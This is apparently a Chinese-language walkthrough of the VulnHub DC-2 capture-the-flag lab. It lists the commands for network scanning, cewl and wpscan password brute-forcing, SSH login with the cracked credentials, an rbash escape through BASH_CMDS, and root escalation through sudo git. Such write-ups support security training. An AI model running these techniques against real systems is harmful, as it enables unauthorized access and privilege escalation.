文章目录
- 前言
- 信息收集
- Web
- 账号密码爆破
- ssh登录
- 绕过rbash限制
- git提权
前言
kali攻击:192.168.132.139
目标主机:192.168.132.146
环境配置参照https://www.vulnhub.com/entry/dc-2,311/
下载:https://download.vulnhub.com/dc/DC-2.zip
信息收集
arp-scan -l
全端口扫描
nmap -A -p- 192.168.132.146
在hosts文件添加对应的ip和域名
192.168.132.146 dc-2
Web
修改host之后发现是一个wp的站
打开flag,有一个提示,用 cewl收集密码
访问http://dc-2/index.php/flag/ ,确定CMS是wordpress;
WordPress是一种使用PHP语言和MySQL数据库开发的博客平台,get CMS
账号密码爆破
搜索cewl,发现是一个kali自带的密码生成工具;
使用cewl生成密码;
命令:cewl -w dc2_passwords.txt http://dc-2
-w, –write:将输出结果写入到文件。
确定是wordpress,使用wpscan工具进行扫描用户
WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。
wpscan --ignore-main-redirect --url 192.168.85.137 --enumerate u --force
扫描出三个用户:admin、tom和jerry。将三个用户写入dc-2_user.txt中。
通过已经扫描到的用户名和密码对目标主机(dc-2)进行爆破
直接使用wpscan进行密码爆破
wpscan --ignore-main-redirect --url 192.168.132.146 -U dc2_user.txt -P dc2_passwords.txt --force
ssh登录
尝试ssh远程登录,最终tom成功登录
我们尝试用tom用户进行登录ssh服务,密码:parturient
用户:jerry,密码:adipiscing
ssh tom@192.168.132.146 -p 7744
绕过rbash限制
输入命令,发现事受限的shell命令,rbash,百度搜索rbash,发现有绕过方法,进行查找,并尝试
10.1> 输入命令,发现事受限的shell命令,为rbash;
出现-rbash: id: command not found
有很多不同的限制外壳可供选择。其中一些只是普通的shell,有一些简单的常见限制,实际上并不是可配置的,例如rbash(限制Bash)rzsh和rksh(受限模式下的Korn Shell),这些都非常容易绕过。其他人有一个完整的配置集,可以重新设计以满足管理员的需求,如lshell(Limited Shell)和rssh(Restricted Secure Shell)。
一旦配置可以被管理员收紧,可配置的shell就更难以绕过。在这些shell上绕过技术通常依赖于管理员有点被迫为普通用户提供某些不安全命令的事实。。如果在没有适当安全配置的情况下允许,它们会为攻击者提供升级权限的工具,有时还会向root用户升级。
其他原因是,有时管理员只是Linux系统管理员,而不是真正的安全专业人员,因此从渗透测试人员的角度来看,他们并不真正了解部队的方式,并最终允许太多危险命令。
绕过首先的shell;
BASH_CMDS[a]=/bin/sh;a
然后 /bin/bash
使用并添加环境变量
export PATH=$PATH:/bin/
PATH就是定义/bin:/sbin:/usr/bin等这些路径的变量,其中冒号为目录间的分割符。
可以查看flag3.txt的内容:
tom@DC-2:~$ export -p
declare -x HOME="/home/tom"
declare -x LANG="en_US.UTF-8"
declare -x LOGNAME="tom"
declare -x MAIL="/var/mail/tom"
declare -x OLDPWD
declare -x PATH="/home/tom/usr/bin:/bin/"
declare -x PWD="/home/tom"
declare -x SHELL="/bin/rbash"
declare -x SHLVL="2"
declare -x SSH_CLIENT="192.168.132.139 59470 7744"
declare -x SSH_CONNECTION="192.168.132.139 59470 192.168.132.146 7744"
declare -x SSH_TTY="/dev/pts/0"
declare -x TERM="xterm-256color"
declare -x USER="tom"
切换用户到jerry
切换到jerry,去查看Jerry目录下的文件,发现有个flag4.txt文件,并用过cat命令查看;
git提权
提示还不是最终的flag,提示git,查看sudo配置文件,发现git是root不用密码可以运行,搜索git提权
接下来提示GIT提权
sudo git -p help config
!/bin/sh
最后在ROOT目录下拿到FLAG